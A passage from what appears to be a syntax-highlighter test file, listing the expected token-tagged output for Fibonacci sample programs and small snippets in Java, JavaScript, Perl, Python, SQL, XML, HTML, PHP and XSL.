'\n' + + ' `END`LIT@Override`END`PLN\n' + + ' `END`KWDpublic`END`PLN `END`TYPIterator`END`PUN<`END' + + '`TYPInteger`END`PUN>`END`PLN iterator`END`PUN()`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDreturn`END`PLN `END`KWDnew`END`PLN `END' + + '`TYPIterator`END`PUN<`END`TYPInteger`END`PUN>()`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`COM/** the series is infinite. *\/`END' + + '`PLN\n' + + ' `END`KWDpublic`END`PLN `END`KWDboolean`END' + + '`PLN hasNext`END`PUN()`END`PLN `END`PUN{`END`PLN `END' + + '`KWDreturn`END`PLN `END`KWDtrue`END`PUN;`END`PLN `END`PUN}`END' + + '`PLN\n' + + ' `END`KWDpublic`END`PLN `END`TYPInteger`END' + + '`PLN `END`KWDnext`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDint`END`PLN tmp `END`PUN=`END' + + '`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END' + + '`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END' + + '`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END' + + '`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDpublic`END`PLN `END`KWDvoid`END' + + '`PLN `END`KWDremove`END`PUN()`END`PLN `END`PUN{`END`PLN `END`KWDthrow`END' + + '`PLN `END`KWDnew`END`PLN `END' + + '`TYPUnsupportedOperationException`END`PUN();`END`PLN `END' + + '`PUN}`END`PLN\n' + + ' `END`PUN};`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '\n' + + ' `END`COM/**\n' + + ' * the n<sup>th</sup> element of the given ' + + 'series.\n' + + ' * @throws NoSuchElementException if there are less than ' + + 'n elements in the\n' + + ' * given Iterable\'s {@link Iterable#iterator ' + + 'iterator}.\n' + + ' *\/`END`PLN\n' + + ' `END`KWDpublic`END`PLN `END`KWDstatic`END`PLN `END' + + '`PUN<`END`PLNT`END`PUN>`END`PLN\n' + + ' T nth`END`PUN(`END`KWDint`END`PLN n`END`PUN,`END`PLN `END' + + '`TYPIterable`END`PUN<`END`PLNT`END`PUN>`END' + + '`PLN iterable`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`TYPIterator`END`PUN<?`END`PLN ' + + '`END`KWDextends`END`PLN T`END`PUN>`END`PLN it `END`PUN=`END' + + '`PLN iterable`END`PUN.`END`PLNiterator`END`PUN();`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END' + + '`PUN>`END`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' it`END`PUN.`END`KWDnext`END`PUN();`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN it`END`PUN.`END`KWDnext`END' + + '`PUN();`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '\n' + + ' `END`KWDpublic`END`PLN `END`KWDstatic`END`PLN `END`KWDvoid`END' + + '`PLN main`END`PUN(`END`TYPString`END`PUN[]`END`PLN args`END' + + '`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`TYPSystem`END`PUN.`END`KWDout`END`PUN.`END' + + '`KWDprint`END`PUN(`END`PLNnth`END`PUN(`END`LIT10`END`PUN,`END' + + '`PLN `END`KWDnew`END`PLN `END`TYPFibonacci`END`PUN()));`END' + + '`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '`END`PUN}`END' + ), + java_lang: ( + '
  1. ' + + '`KWDpackage`END`PLN foo`END`PUN;`END' + + '`#2`PLN `END' + + '`#3`KWDimport`END`PLN java`END`PUN.`END`PLNutil`END`PUN.`END' + + '`TYPIterator`END`PUN;`END' + + '`#4`PLN `END' + + '`#5`COM/**`END' + + '`#6`COM * the fibonacci series implemented as an Iterable.`END' + + '`#7`COM *\/`END' + + '`#8`KWDpublic`END`PLN `END`KWDfinal`END`PLN `END`KWDclass`END' + + '`PLN `END`TYPFibonacci`END`PLN `END`KWDimplements`END`PLN `END' + + '`TYPIterable`END`PUN<`END`TYPInteger`END`PUN>`END`PLN `END`' + + 'PUN{`END' + + '`#9`PLN `END' + + '`COM/** the next and previous members of the series. *\/`END' + + '' + + '`#0`PLN `END`KWDprivate`END`PLN `END`KWDint`END`PLN a `END`PUN=`END' + + '`PLN `END`LIT1`END`PUN,`END`PLN b `END`PUN=`END`PLN `END`LIT1`END' + + '`PUN;`END' + + '`#1`PLN `END' + + '`#2`PLN `END`LIT@Override`END' + + '`#3`PLN `END`KWDpublic`END`PLN `END`TYPIterator`END`PUN<`END' + + '`TYPInteger`END`PUN>`END`PLN iterator`END`PUN()`END`PLN `END' + + '`PUN{`END' + + '`#4`PLN `END`KWDreturn`END`PLN `END`KWDnew`END`PLN `END' + + '`TYPIterator`END`PUN<`END`TYPInteger`END`PUN>()`END`PLN `END' + + '`PUN{`END' + + '`#5`PLN `END`COM/** the series is infinite. *\/`END' + + '' + + '`#6`PLN `END`KWDpublic`END`PLN `END`KWDboolean`END' + + '`PLN hasNext`END`PUN()`END`PLN `END`PUN{`END`PLN `END' + + '`KWDreturn`END`PLN `END`KWDtrue`END`PUN;`END`PLN `END`PUN}`END' + + '' + + '`#7`PLN `END`KWDpublic`END`PLN `END`TYPInteger`END' + + '`PLN next`END`PUN()`END`PLN `END`PUN{`END' + + '`#8`PLN `END`KWDint`END`PLN tmp `END`PUN=`END' + + '`PLN a`END`PUN;`END' + + '`#9`PLN a `END`PUN+=`END`PLN b`END`PUN;`END' + + '' + + '`#0`PLN b `END`PUN=`END`PLN tmp`END`PUN;`END' + + '' + + '`#1`PLN `END`KWDreturn`END`PLN a`END`PUN;`END' + + '' + + '`#2`PLN `END`PUN}`END' + + '`#3`PLN `END`KWDpublic`END`PLN `END`KWDvoid`END' + + '`PLN remove`END`PUN()`END`PLN `END`PUN{`END`PLN `END`KWDthrow`END' + + '`PLN `END`KWDnew`END`PLN `END' + + '`TYPUnsupportedOperationException`END`PUN();`END`PLN `END' + + '`PUN}`END' + + '`#4`PLN `END`PUN};`END' + + '`#5`PLN `END`PUN}`END' + + '`#6`PLN `END' + + '`#7`PLN `END`COM/**`END' + + '`#8`COM * the n<sup>th</sup> element of the given ' + + 'series.`END' + + '`#9`COM * @throws NoSuchElementException if there are less than ' + + 'n elements in the`END' + + '`#0`COM * given Iterable\'s {@link Iterable#iterator ' + + 'iterator}.`END' + + '`#1`COM *\/`END' + + '`#2`PLN `END`KWDpublic`END`PLN `END`KWDstatic`END`PLN `END' + + '`PUN<`END`PLNT`END`PUN>`END' + + '`#3`PLN T nth`END`PUN(`END`KWDint`END`PLN n`END`PUN,`END`PLN `END' + + '`TYPIterable`END`PUN<`END`PLNT`END`PUN>`END' + + '`PLN iterable`END`PUN)`END`PLN `END`PUN{`END' + + '`#4`PLN `END`TYPIterator`END`PUN<?`END`PLN `END' + + '`KWDextends`END`PLN T`END`PUN>`END`PLN in `END`PUN=`END' + + '`PLN iterable`END`PUN.`END`PLNiterator`END`PUN();`END' + + '`#5`PLN `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END' + + '`PUN>`END`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END' + + '`#6`PLN in`END`PUN.`END`PLNnext`END`PUN();`END' + + '`#7`PLN `END`PUN}`END' + + '`#8`PLN `END`KWDreturn`END`PLN in`END`PUN.`END`PLNnext`END' + + '`PUN();`END' + + '`#9`PLN `END`PUN}`END' + + '`#0`PLN `END' + + '`#1`PLN `END`KWDpublic`END`PLN `END`KWDstatic`END`PLN `END`KWDvoid`END' + + '`PLN main`END`PUN(`END`TYPString`END`PUN[]`END`PLN args`END' + + '`PUN)`END`PLN `END`PUN{`END' + + '`#2`PLN `END`TYPSystem`END`PUN.`END`PLNout`END`PUN.`END' + + '`PLNprint`END`PUN(`END`PLNnth`END`PUN(`END`LIT10`END`PUN,`END' + + '`PLN `END`KWDnew`END`PLN `END`TYPFibonacci`END`PUN()));`END' + + '' + + '`#3`PLN `END`PUN}`END' + + '`#4`PUN}`END' + + '`#5`PLN `END' + + '`#6`PUN#`END`PLN not a java comment`END' + + '`#7`PUN#`END`PLN not keywords`END`PUN:`END' + + '`PLN static_cast and namespace`END
' + ), + javascript: ( + '`COM/**\n' + + ' * nth element in the fibonacci series.\n' + + ' * @param n >= 0\n' + + ' * @return the nth element, >= 0.\n' + + ' *\/`END`PLN\n' + + '`END`KWDfunction`END`PLN fib`END`PUN(`END`PLNn`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN b `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`KWDvar`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + 'document`END`PUN.`END`PLNwrite`END`PUN(`END`PLNfib`END`PUN(`END' + + '`LIT10`END`PUN));`END' + ), + perl: ( + '`COM#!/usr/bin/perl`END`PLN\n' + + '\n' + + '`END`KWDuse`END`PLN strict`END`PUN;`END`PLN\n' + + '`END`KWDuse`END`PLN integer`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM# the nth element of the fibonacci series`END`PLN\n' + + '`END`COM# param n - an int >= 0`END`PLN\n' + + '`END`COM# return an int >= 0`END`PLN\n' + + '`END`KWDsub`END`PLN fib`END`PUN(`END`PLN$`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDmy`END`PLN $n `END`PUN=`END`PLN shift`END`PUN,`END`PLN ' + + '$a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END`PLN $b `END' + + '`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`PUN(`END`PLN$a`END`PUN,`END`PLN $b`END`PUN)`END' + + '`PLN `END`PUN=`END`PLN `END`PUN(`END`PLN$a `END`PUN+`END' + + '`PLN $b`END`PUN,`END`PLN $a`END`PUN)`END`PLN `END`KWDuntil`END' + + '`PLN `END`PUN(--`END`PLN$n `END`PUN<`END`PLN `END`LIT0`END' + + '`PUN);`END`PLN\n' + + ' `END`KWDreturn`END`PLN $a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`KWDprint`END`PLN fib`END`PUN(`END`LIT10`END`PUN);`END' + ), + python: ( + '`COM#!/usr/bin/python2.4`END`PLN\n' + + '\n' + + '`END`KWDdef`END`PLN fib`END`PUN():`END`PLN\n' + + ' `END`STR\'\'\'\n' + + ' a generator that produces the elements of the fibonacci series' + + '\n' + + ' \'\'\'`END`PLN\n' + + '\n' + + ' a `END`PUN=`END`PLN `END`LIT1`END`PLN\n' + + ' b `END`PUN=`END`PLN `END`LIT1`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`KWDTrue`END`PUN:`END`PLN\n' + + ' a`END`PUN,`END`PLN b `END`PUN=`END`PLN a `END`PUN+`END' + + '`PLN b`END`PUN,`END`PLN a\n' + + ' `END`KWDyield`END`PLN a\n' + + '\n' + + '`END`KWDdef`END`PLN nth`END`PUN(`END`PLNseries`END`PUN,`END`PLN n`END' + + '`PUN):`END`PLN\n' + + ' `END`STR\'\'\'\n' + + ' returns the nth element of a series,\n' + + ' consuming the earlier elements of the series\n' + + ' \'\'\'`END`PLN\n' + + '\n' + + ' `END`KWDfor`END`PLN x `END`KWDin`END`PLN series`END`PUN:`END' + + '`PLN\n' + + ' n `END`PUN=`END`PLN n `END`PUN-`END`PLN `END`LIT1`END' + + '`PLN\n' + + ' `END`KWDif`END`PLN n `END`PUN<=`END`PLN `END' + + '`LIT0`END`PUN:`END`PLN `END`KWDreturn`END`PLN x\n' + + '\n' + + '`END`KWDprint`END`PLN nth`END`PUN(`END`PLNfib`END`PUN(),`END`PLN `END' + + '`LIT10`END`PUN)`END' + ), + python_lang: ( + '`COM#!/usr/bin/python2.4`END`PLN\n' + + '\n' + + '`END`KWDdef`END`PLN fib`END`PUN():`END`PLN\n' + + ' `END`STR\'\'\'\n' + + ' a generator that produces the fibonacci series\'s elements' + + '\n' + + ' \'\'\'`END`PLN\n' + + '\n' + + ' a `END`PUN=`END`PLN `END`LIT1`END`PLN\n' + + ' b `END`PUN=`END`PLN `END`LIT1`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`KWDTrue`END`PUN:`END`PLN\n' + + ' a`END`PUN,`END`PLN b `END`PUN=`END`PLN a `END`PUN+`END' + + '`PLN b`END`PUN,`END`PLN a\n' + + ' `END`KWDyield`END`PLN a\n' + + '\n' + + '`END`KWDdef`END`PLN nth`END`PUN(`END`PLNseries`END`PUN,`END`PLN n`END' + + '`PUN):`END`PLN\n' + + ' `END`STR\'\'\'\n' + + ' returns the nth element of a series,\n' + + ' consuming the series\' earlier elements.\n' + + ' \'\'\'`END`PLN\n' + + '\n' + + ' `END`KWDfor`END`PLN x `END`KWDin`END`PLN series`END`PUN:`END' + + '`PLN\n' + + ' n `END`PUN-=`END`PLN `END`LIT1`END' + + '`PLN\n' + + ' `END`KWDif`END`PLN n `END`PUN<=`END`PLN `END' + + '`LIT0`END`PUN:`END`PLN `END`KWDreturn`END`PLN x\n' + + '\n' + + '`END`KWDprint`END`PLN nth`END`PUN(`END`PLNfib`END`PUN(),`END`PLN `END' + + '`LIT10`END`PUN)`END`PLN\n' + + '\n' + + '`END`PUN/*`END`PLN `END`KWDnot`END`PLN a comment `END`KWDand`END' + + '`PLN `END`KWDnot`END`PLN keywords`END`PUN:`END' + + '`PLN null char true `END`PUN*\/`END' + ), + sql_lang: ( + '`COM/* A multi-line\n' + + ' * comment *\/`END`PLN\n' + + '`END`STR\'Another string /* Isn\\\'t a comment\'`END`PUN,`END`PLN\n' + + '`END`STR"A string *\/"`END`PLN\n' + + '`END`COM-- A line comment`END`PLN\n' + + '`END`KWDSELECT`END`PLN `END`PUN*`END`PLN `END`KWDFROM`END' + + '`PLN users `END`KWDWHERE`END`PLN id `END`KWDIN`END`PLN `END' + + '`PUN(`END`LIT1`END`PUN,`END`PLN `END`LIT2.0`END`PUN,`END`PLN `END' + + '`LIT+30e-1`END`PUN);`END`PLN\n' + + '`END`COM-- keywords are case-insensitive.`END`PLN\n' + + '`END`COM-- Note: user-table is a single identifier, not a pair of' + + ' keywords`END`PLN\n' + + '`END`KWDselect`END`PLN `END`PUN*`END`PLN `END`KWDfrom`END' + + '`PLN user-table `END`KWDwhere`END`PLN id `END`KWDin`END`PLN `END' + + '`PUN(`END`PLNx`END`PUN,`END`PLN y`END`PUN,`END`PLN z`END`PUN);`END' + ), + xml: ( + '`DEC<!DOCTYPE series PUBLIC "fibonacci numbers">`END`PLN\n' + + '\n' + + '`END`TAG<series.root`END`PLN `END`ATNbase`END`PUN=`END' + + '`ATV"1"`END`PLN `END' + + '`ATNstep`END`PUN=`END`ATV"s(n-2) + s(n-1)"`END`TAG>`END' + + '`PLN\n' + + ' `END`TAG<element`END`PLN `END`ATNi`END`PUN=`END' + + '`ATV"0"`END' + + '`TAG>`END`PLN1`END`TAG</element>`END' + + '`PLN\n' + + ' `END`TAG<element`END`PLN `END`ATNi`END`PUN=`END' + + '`ATV"1"`END' + + '`TAG>`END`PLN1`END`TAG</element>`END' + + '`PLN\n' + + ' `END`TAG<element`END`PLN `END`ATNi`END`PUN=`END' + + '`ATV"2"`END' + + '`TAG>`END`PLN2`END`TAG</element>`END' + + '`PLN\n' + + ' `END`TAG<element`END`PLN `END`ATNi`END`PUN=`END' + + '`ATV"3"`END' + + '`TAG>`END`PLN3`END`TAG</element>`END' + + '`PLN\n' + + ' `END`TAG<element`END`PLN `END`ATNi`END`PUN=`END' + + '`ATV"4"`END' + + '`TAG>`END`PLN5`END`TAG</element>`END' + + '`PLN\n' + + ' `END`TAG<element`END`PLN `END`ATNi`END`PUN=`END' + + '`ATV"5"`END' + + '`TAG>`END`PLN8`END`TAG</element>`END' + + '`PLN\n' + + ' ...\n' + + '`END`TAG</series.root>`END' + ), + html: ( + '`TAG<html>`END`PLN\n' + + ' `END`TAG<head>`END`PLN\n' + + ' `END`TAG<title>`END`PLNFibonacci number`END' + + '`TAG</title>`END`PLN\n' + + ' `END`TAG<style>`END`COM<!--`END' + + '`PLN BODY `END`PUN{`END`PLN `END`KWDtext-decoration`END`PUN:`END' + + '`PLN blink `END`PUN}`END`PLN `END`COM-->`END`TAG</' + + 'style>`END`PLN\n' + + ' `END`TAG<script`END`PLN `END`ATNsrc`END`PUN=`END' + + '`ATV"foo.js"`END`TAG></script>`END`PLN\n' + + ' `END`TAG<script`END`PLN `END`ATNsrc`END`PUN=`END' + + '`ATV"bar.js"`END`TAG></script>`END`PLN\n' + + ' `END`TAG</head>`END`PLN\n' + + ' `END`TAG<body>`END`PLN\n' + + ' `END`TAG<noscript>`END`PLN\n' + + ' `END`TAG<dl>`END`PLN\n' + + ' `END`TAG<dt>`END' + + '`PLNFibonacci numbers`END`TAG</dt>`END' + + '`PLN\n' + + ' `END`TAG<dd>`END`PLN1`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN1`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN2`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN3`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN5`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN8`END' + + '`TAG</dd>`END`PLN\n' + + ' &hellip;\n' + + ' `END`TAG</dl>`END`PLN\n' + + ' `END`TAG</noscript>`END`PLN\n' + + '\n' + + ' `END`TAG<script`END`PLN `END`ATNtype`END`PUN=`END' + + '`ATV"text/javascript"`END`TAG>`END`PUN<!--`END`PLN\n' + + '`END`KWDfunction`END`PLN fib`END`PUN(`END`PLNn`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN b `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`KWDvar`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + 'document`END`PUN.`END`PLNwriteln`END`PUN(`END`PLNfib`END`PUN(`END' + + '`LIT10`END`PUN));`END`PLN\n' + + '`END`COM// -->`END`PLN\n' + + ' `END`TAG</script>`END`PLN\n' + + ' `END`TAG</body>`END`PLN\n' + + '`END`TAG</html>`END' + ), + html_lang: ( + '`PLNFibonacci Numbers\n' + + '\n' + + '`END`TAG<noscript>`END`PLN\n' + + ' `END`TAG<dl`END`PLN `END`ATNstyle`END`PUN=`END' + + '`ATV"`END`KWDlist-style`END`PUN:`END`PLN disc`END`ATV"`END' + + '`TAG>`END`PLN\n' + + ' `END`TAG<dt>`END' + + '`PLNFibonacci numbers`END`TAG</dt>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN1`END`TAG</dd>`END' + + '`PLN\n' + + ' `END`TAG<dd>`END`PLN1`END`TAG</dd>`END' + + '`PLN\n' + + ' `END`TAG<dd>`END`PLN2`END`TAG</dd>`END' + + '`PLN\n' + + ' `END`TAG<dd>`END`PLN3`END`TAG</dd>`END' + + '`PLN\n' + + ' `END`TAG<dd>`END`PLN5`END`TAG</dd>`END' + + '`PLN\n' + + ' `END`TAG<dd>`END`PLN8`END`TAG</dd>`END' + + '`PLN\n' + + ' &hellip;\n' + + ' `END`TAG</dl>`END`PLN\n' + + '`END`TAG</noscript>`END`PLN\n' + + '\n' + + '`END`TAG<script`END`PLN `END`ATNtype`END`PUN=`END' + + '`ATV"text/javascript"`END`TAG>`END`PUN<!--`END`PLN\n' + + '`END`KWDfunction`END`PLN fib`END`PUN(`END`PLNn`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN b `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`KWDvar`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + 'document`END`PUN.`END`PLNwriteln`END`PUN(`END`PLNfib`END`PUN(`END' + + '`LIT10`END`PUN));`END`PLN\n' + + '`END`COM// -->`END`PLN\n' + + '`END`TAG</script>`END' + ), + html_xmp: ( + '`TAG<html>`END`PLN\n' + + ' `END`TAG<head>`END`PLN\n' + + ' `END`TAG<title>`END`PLNFibonacci number`END' + + '`TAG</title>`END`PLN\n' + + ' `END`TAG</head>`END`PLN\n' + + ' `END`TAG<body>`END`PLN\n' + + ' `END`TAG<noscript>`END`PLN\n' + + ' `END`TAG<dl>`END`PLN\n' + + ' `END`TAG<dt>`END' + + '`PLNFibonacci numbers`END`TAG</dt>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN1`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN1`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN2`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN3`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN5`END' + + '`TAG</dd>`END`PLN\n' + + ' `END`TAG<dd>`END`PLN8`END' + + '`TAG</dd>`END`PLN\n' + + ' &hellip;\n' + + ' `END`TAG</dl>`END`PLN\n' + + ' `END`TAG</noscript>`END`PLN\n' + + '\n' + + ' `END`TAG<script`END`PLN `END`ATNtype`END`PUN=`END' + + '`ATV"text/javascript"`END`TAG>`END`PUN<!--`END`PLN\n' + + '`END`KWDfunction`END`PLN fib`END`PUN(`END`PLNn`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN b `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`KWDvar`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + 'document`END`PUN.`END`PLNwriteln`END`PUN(`END`PLNfib`END`PUN(`END' + + '`LIT10`END`PUN));`END`PLN\n' + + '`END`COM// -->`END`PLN\n' + + ' `END`TAG</script>`END`PLN\n' + + ' `END`TAG</body>`END`PLN\n' + + '`END`TAG</html>`END' + ), + xhtml: ( + '`TAG<xhtml>`END`PLN\n' + + ' `END`TAG<head>`END`PLN\n' + + ' `END`TAG<title>`END' + + '`PLNFibonacci number`END`TAG</title>`END' + + '`PLN\n' + + ' `END`TAG</head>`END`PLN\n' + + ' `END`TAG<body`END`PLN `END`ATNonload`END`PUN=`END' + + '`ATV"`END`PLNalert`END`PUN(`END`PLNfib`END`PUN(`END`LIT10`END' + + '`PUN))`END`ATV"`END`TAG>`END`PLN\n' + + ' `END`TAG<script`END`PLN `END`ATNtype`END' + + '`PUN=`END`ATV"text/javascript"`END`TAG>`END' + + '`PUN<![`END`PLNCDATA`END`PUN[`END`PLN\n' + + '`END`KWDfunction`END`PLN fib`END`PUN(`END`PLNn`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN b `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`KWDvar`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '`END`PUN]]>`END`PLN\n' + + ' `END`TAG</script>`END`PLN\n' + + ' `END`TAG</body>`END`PLN\n' + + '`END`TAG</xhtml>`END' + ), + php: ( + '`TAG<html>`END`PLN\n' + + ' `END`TAG<head>`END`PLN\n' + + ' `END`TAG<title>`END`PUN<?=`END' + + '`PLN `END' + + '`STR\'Fibonacci numbers\'`END`PLN `END' + + '`PUN?>`END`TAG</title>`END`PLN\n' + + '\n' + + ' `END`PUN<?`END`PLNphp\n' + + ' `END`COM// PHP has a plethora of comment types' + + '`END`PLN\n' + + ' `END`COM\/* What is a\n' + + ' "plethora"? *\/`END`PLN\n' + + ' `END`KWDfunction`END`PLN fib`END`PUN(`END' + + '`PLN$n`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`COM# I don\'t know.`END`PLN\n' + + ' $a `END`PUN=`END`PLN `END`LIT1`END' + + '`PUN;`END`PLN\n' + + ' $b `END`PUN=`END`PLN `END`LIT1`END' + + '`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END' + + '`PLN$n `END`PUN>=`END`PLN `END`LIT0`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' echo `END`STR"$a\\n"`END`PUN;`END' + + '`PLN\n' + + ' $tmp `END`PUN=`END`PLN $a`END' + + '`PUN;`END`PLN\n' + + ' $a `END`PUN+=`END`PLN $b`END' + + '`PUN;`END`PLN\n' + + ' $b `END`PUN=`END`PLN $tmp`END' + + '`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`PUN?>`END`PLN\n' + + ' `END`TAG</head>`END`PLN\n' + + ' `END`TAG<body>`END`PLN\n' + + ' `END`PUN<?=`END`PLN fib`END' + + '`PUN(`END`LIT10`END`PUN)`END`PLN `END`PUN?>`END`PLN\n' + + ' `END`TAG</body>`END`PLN\n' + + '`END`TAG</html>`END' + ), + xsl: ( + '`COM<!-- Test elements and attributes with namespaces -->' + + '`END`PLN\n' + + '\n' + + '`END`TAG<xsl:stylesheet`END`PLN `END`ATNxml:lang`END' + + '`PUN=`END`ATV"en"`END`TAG>`END`PLN\n' + + ' `END`TAG<xsl:template`END' + + '`PLN `END`ATNmatch`END`PUN=`END`ATV"."`END' + + '`TAG>`END`PLN\n' + + ' `END`TAG<xsl:text>`END' + + '`PLNHello World`END' + + '`TAG</xsl:text>`END`PLN\n' + + ' `END`TAG</xsl:template>`END`PLN\n' + + '`END`TAG</xsl:stylesheet>`END' + ), + whitespace: '', + misc1: ( + '`COM// ends with line comment token`END`PLN\n' + + '`END`COM//`END' + ), + js_script: ( + '`TAG<script`END`PLN `END' + + '`ATNtype`END`PUN=`END`ATV"text/javascript"`END' + + '`TAG>`END`PLN\n' + + ' var savedTarget=null' + + '; ' + + ' // The target ' + + 'layer (effectively vidPane)\n' + + ' var orgCursor=null' + + '; ' + + ' // The ' + + 'original mouse style so we can restore it\n' + + ' var dragOK=false' + + '; ' + + ' ' + + '// True if we\'re allowed to move the element under mouse' + + '\n' + + ' var dragXoffset=0' + + '; ' + + ' ' + + '// How much we\'ve moved the element on the horozontal' + + '\n' + + ' var dragYoffset=0' + + '; ' + + ' ' + + '// How much we\'ve moved the element on the verticle' + + '\n' + + ' vidPaneID = document.' + + 'getElementById(\'vidPane\');' + + ' // Our movable layer\n' + + ' vidPaneID.style.top' + + '=\'75px\'; ' + + ' // ' + + 'Starting location horozontal\n' + + ' vidPaneID.style.left' + + '=\'75px\'; ' + + ' // ' + + 'Starting location verticle\n' + + '`END`TAG<script>`END' + ), + 